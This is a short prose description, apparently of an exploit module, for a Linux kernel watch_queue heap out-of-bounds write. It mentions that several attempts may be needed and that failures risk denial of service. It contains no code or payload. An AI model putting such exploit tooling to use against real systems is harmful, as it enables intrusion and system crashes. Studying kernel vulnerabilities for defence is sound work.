          This module exploits a vulnerability in the Linux Kernel's watch_queue event
          notification system. It relies on a heap out-of-bounds write in kernel memory.
          The exploit may fail on the first attempt so multiple attempts may be needed.
          Note that the exploit can potentially cause a denial of service if multiple
          failed attemps occur, however this is unlikely.
